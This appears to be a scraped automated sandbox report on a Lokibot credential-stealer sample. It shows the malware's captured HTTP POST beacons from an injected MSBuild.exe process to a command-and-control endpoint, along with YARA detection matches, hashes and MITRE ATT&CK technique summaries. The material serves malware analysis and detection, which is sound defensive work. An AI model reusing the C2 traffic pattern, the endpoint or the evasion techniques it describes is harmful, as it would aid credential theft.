Jan 14, 2022 14:27:17.637202978 CET	10886	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:17 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=PMcBahuKByTbFosahzRIKypVcDYCLDFflrd1nc56iJvyDP%2Bh45WlKRRvvhMXjJh88q4YEHytsOIDoJi3TTV5f1VcbhoAXrQ2PqU%2BzYC9KTSSSp7XyiTuJZcFrnIz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7336d1a925c80-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
59	192.168.2.4	49895	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:27:18.647021055 CET	10887	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:27:19.002940893 CET	10888	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:27:18 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BgDckXZkiAvUVc%2BKzyt786ncrFUI%2B0WkMGYATSCVOlSWpwMf4HbqhvSUOnvBxN2h6OKRG2Xr0rlUZTCPS16lMYSOpIyP29QS5FsrDWfOFvEA1ONpOtQWgmdsJ30%2F"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd7337598bd699b-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.4	49776	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:27.981179953 CET	1331	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:28.344696045 CET	1332	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:28 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=TxJWTM6gV0MTxW7YM%2BTe%2B5DdsSmvL7k%2B35hgMP2DQenr130cmDAXD5htYd6lP4ns1u%2BwYFYQpq9PcE8CaPi6IhueR49tx%2Bl%2F%2FlT90EymPUkUKZlCqPx0CkQ2beeU"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730c1fdb84ed9-FRA alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	192.168.2.4	49777	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:30.190932989 CET	1333	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:30.670999050 CET	1334	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:30 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=M68OGhqQEPxISEtsq3%2B5H%2FacME1RbwOvO0nDBEz1uxYpVByK3taPs0%2Fqmqaw72x63%2BIeUJaLo%2FOxOewiB042x6no%2B9SIy1aKbFAO63Js7EYkJ%2FigW6rsaVY9WXkN"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730cfca0f2199-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
8	192.168.2.4	49778	104.21.60.171	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:31.656934023 CET	1335	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:32.048904896 CET	1336	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:32 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=bLPL1apjWIi%2FQT07ycYbV1MKsMRYQ3dKEOqXP4PeN3UTzD3LbRQE6A7cE1yOR4GeNNfNzZpHhyijJcKc067J50RlhtmlwjQoY1%2BXZ68si4VJhySftXIBnfteo2uk"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730d8fb134bdd-AMS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
9	192.168.2.4	49779	172.67.198.111	80	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe

Timestamp	kBytes transferred	Direction	Data
Jan 14, 2022 14:25:33.128240108 CET	1337	OUT	POST /JRM/w2/fre.php HTTP/1.0 User-Agent: Mozilla/4.08 (Charon; Inferno) Host: jnxxx1.xyz Accept: / Content-Type: application/octet-stream Content-Encoding: binary Content-Key: 45365306 Content-Length: 163 Connection: close
Jan 14, 2022 14:25:33.700928926 CET	1338	IN	HTTP/1.1 404 Not Found Date: Fri, 14 Jan 2022 13:25:33 GMT Content-Type: text/html; charset=UTF-8 Connection: close status: 404 Not Found CF-Cache-Status: DYNAMIC Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v3?s=BZtSZWSuZoGDTDEek1iQ%2BbCSgcHWt2TDaku2Hp9VK0tn7OUHo%2BuTrbydgLb3W49GEdKDwuRX4Do57txLMlkGOK5k00FDPIaLLAv0EHeQc62Uz0VEE8IZW6spjHk3"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 6cd730e228f8717b-DUS alt-svc: h3=":443"; ma=86400, h3-29=":443"; ma=86400, h3-28=":443"; ma=86400, h3-27=":443"; ma=86400 Data Raw: 08 00 00 00 00 00 00 00 46 69 6c 65 20 6e 6f 74 20 66 6f 75 6e 64 2e Data Ascii: File not found.

Code Manipulations

Statistics

Behavior

Click to jump to process

System Behavior

Analysis Process: gunzipped.exe PID: 7116 Parent PID: 2512

General

Start time:	14:25:12
Start date:	14/01/2022
Path:	C:\Users\user\Desktop\gunzipped.exe
Wow64 process (32bit):	false
Commandline:	"C:\Users\user\Desktop\gunzipped.exe"
Imagebase:	0x3f0000
File size:	207368 bytes
MD5 hash:	A76B143E354A2AC9F363616FF4F8B239
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	.Net C# or VB.NET
Yara matches:	Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.672292880.000000001270F000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, Author: Joe Security Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000000.00000002.670595515.000000000275A000.00000004.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	low

Analysis Process: MSBuild.exe PID: 1852 Parent PID: 7116

General

Start time:	14:25:14
Start date:	14/01/2022
Path:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
Wow64 process (32bit):	true
Commandline:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\Msbuild.exe
Imagebase:	0x510000
File size:	261728 bytes
MD5 hash:	D621FD77BD585874F9686D3A76462EF1
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000002.931659993.0000000000C58000.00000004.00000020.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000002.931501458.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000000.668076013.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_Lokibot_1, Description: Yara detected Lokibot, Source: 00000001.00000003.734712266.0000000000C6F000.00000004.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000000.668425098.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000000.669222842.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group Rule: JoeSecurity_CredentialStealer, Description: Yara detected Credential Stealer, Source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_aPLib_compressed_binary, Description: Yara detected aPLib compressed binary, Source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: JoeSecurity_Lokibot, Description: Yara detected Lokibot, Source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, Author: Joe Security Rule: Loki_1, Description: Loki Payload, Source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, Author: kevoreilly Rule: Lokibot, Description: detect Lokibot in memory, Source: 00000001.00000000.668771421.0000000000400000.00000040.00000001.sdmp, Author: JPCERT/CC Incident Response Group
Reputation:	high

Disassembly

Code Analysis

Reset < >

Description:	Adversaries may directly interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	API monitoring, Loaded DLLs, Process monitoring, System calls
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically requires being a member of an admin or otherwise privileged group on the remote system.
Tactics:	Execution, Persistence, Privilege Escalation
Data Sources:	File monitoring, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may modify access tokens to operate under a different user or system security context to perform actions and bypass access controls. Windows uses access tokens to determine the ownership of a running process. A user can manipulate access tokens to make a running process appear as though it is the child of a different process or belongs to someone other than the user that started the process. When this occurs, the process also takes on the security context associated with the new token.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, Access tokens, Authentication logs, Process command-line parameters, Process monitoring, Windows event logs
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
Data Sources:	API monitoring, DLL monitoring, File monitoring, Named Pipes, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may disable security tools to avoid possible detection of their tools and activities. This can take the form of killing security software or event logging processes, deleting Registry keys so that tools do not start at run time, or other methods to interfere with security tools scanning or reporting information.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Services, Windows Registry
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use Obfuscated Files or Information to hide artifacts of an intrusion from analysis. They may require separate mechanisms to decode or deobfuscate that information depending on how they intend to use it. Methods for doing that include built-in functionality of malware or by using utilities present on the system.
Tactics:	Defense Evasion
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to make an executable or file difficult to discover or analyze by encrypting, encoding, or otherwise obfuscating its contents on the system or in transit. This is common behavior that can be used across different platforms and the network to evade defenses.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, Email gateway, Environment variable, File monitoring, Malware reverse engineering, Network intrusion detection system, Network protocol analysis, Process command-line parameters, Process monitoring, Process use of network, SSL/TLS inspection, Windows event logs
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may perform software packing or virtual machine software protection to conceal their code. Software packing is a method of compressing or encrypting an executable. Packing an executable changes the file signature in an attempt to avoid signature-based detection. Most decompression techniques decompress the executable code in memory. Virtual machine software protection translates an executable's original code into a special format that only a special virtual machine can run. A virtual machine is then called to run this code.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata
Platforms:	macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to manipulate features of their artifacts to make them appear legitimate or benign to users and/or security tools. Masquerading occurs when the name or location of an object, legitimate or malicious, is manipulated or abused for the sake of evading defenses and observation. This may include manipulating file metadata, tricking users into misidentifying the file type, and giving legitimate task or service names.
Tactics:	Defense Evasion
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.
Tactics:	Defense Evasion, Discovery
Data Sources:	Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to dump credentials to obtain account login and credential material, normally in the form of a hash or a clear text password, from the operating system and software. Credentials can then be used to perform Lateral Movement and access restricted information.
Tactics:	Credential Access
Data Sources:	API monitoring, PowerShell logs, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search the Registry on compromised systems for insecurely stored credentials. The Windows Registry stores configuration information that can be used by the system or other programs. Adversaries may query the Registry looking for credentials and passwords that have been stored for use by other programs or services. Sometimes these credentials are used for automatic logons.
Tactics:	Credential Access
Data Sources:	Process command-line parameters, Process monitoring, Windows Registry
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get a listing of accounts on a system or within an environment. This information can help adversaries determine which accounts exist to aid in follow-on behavior.
Tactics:	Discovery
Data Sources:	API monitoring, Azure activity logs, Office 365 account logs, Process command-line parameters, Process monitoring
Platforms:	AWS, Azure, Azure AD, GCP, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	AWS CloudTrail logs, Azure activity logs, Process command-line parameters, Process monitoring, Stackdriver logs
Platforms:	AWS, Azure, GCP, Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	API monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to identify the primary user, currently logged in user, set of users that commonly uses a system, or whether a user is actively using the system. They may do this, for example, by retrieving account usernames or by using OS Credential Dumping . The information may be collected in a number of different ways using other Discovery techniques, because user and username details are prevalent throughout a system and include running process ownership, file/directory ownership, session information, and system logs. Adversaries may use the information from [System Owner/User Discovery](https://attack.mitre.org/techniques/T1033) during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may compress and/or encrypt data that is collected prior to exfiltration. Compressing the data can help to obfuscate the collected data and minimize the amount of data sent over the network. Encryption can be used to hide information that is being exfiltrated from detection or make exfiltration less conspicuous upon inspection by a defender.
Tactics:	Collection
Data Sources:	Binary file metadata, File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may search local system sources, such as file systems or local databases, to find files of interest and sensitive data prior to Exfiltration.
Tactics:	Collection
Data Sources:	File monitoring, Process command-line parameters, Process monitoring
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may target user email to collect sensitive information. Emails may contain sensitive data, including trade secrets or personal information, that can prove valuable to adversaries. Adversaries can collect or forward email from mail servers or clients.
Tactics:	Collection
Data Sources:	Authentication logs, Email gateway, File monitoring, Mail server, Office 365 trace logs, Process monitoring, Process use of network
Platforms:	Office 365, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading ...

Warning!

Windows Analysis Report gunzipped.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Threatname: Lokibot

Yara Overview

Memory Dumps

Unpacked PEs

Sigma Overview

System Summary:

Jbx Signature Overview

AV Detection:

Compliance:

Spreading:

Networking:

System Summary:

Data Obfuscation:

Hooking and other Techniques for Hiding and Protection:

Malware Analysis System Evasion:

Anti Debugging:

HIPS / PFW / Operating System Protection Evasion:

Language, Device and Operating System Detection:

Stealing of Sensitive Information:

Remote Access Functionality:

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

Contacted IPs

Public

Private

General Information

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASN

JA3 Fingerprints

Dropped Files

Created / dropped Files

Static File Info

General

File Icon

Static PE Info

General

Authenticode Signature

Entrypoint Preview

Data Directories

Sections

Resources

Imports

Version Infos

Network Behavior

Snort IDS Alerts

Network Port Distribution

TCP Packets

UDP Packets

DNS Queries

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Files may be copied from an external adversary controlled system through the command and control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp.
Tactics:	Command and Control
Data Sources:	File monitoring, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process command-line parameters, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may employ a known encryption algorithm to conceal command and control traffic rather than relying on any inherent protections provided by a communication protocol. Despite the use of a secure algorithm, these implementations may be vulnerable to reverse engineering if secret keys are encoded and/or generated within malware samples/configuration files.
Tactics:	Command and Control
Data Sources:	Malware reverse engineering, Netflow/Enclave netflow, Packet capture, Process monitoring, Process use of network, SSL/TLS inspection
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use a non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Host network interface, Netflow/Enclave netflow, Network intrusion detection system, Network protocol analysis, Packet capture, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	DNS records, Netflow/Enclave netflow, Network protocol analysis, Packet capture, Process monitoring, Process use of network
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre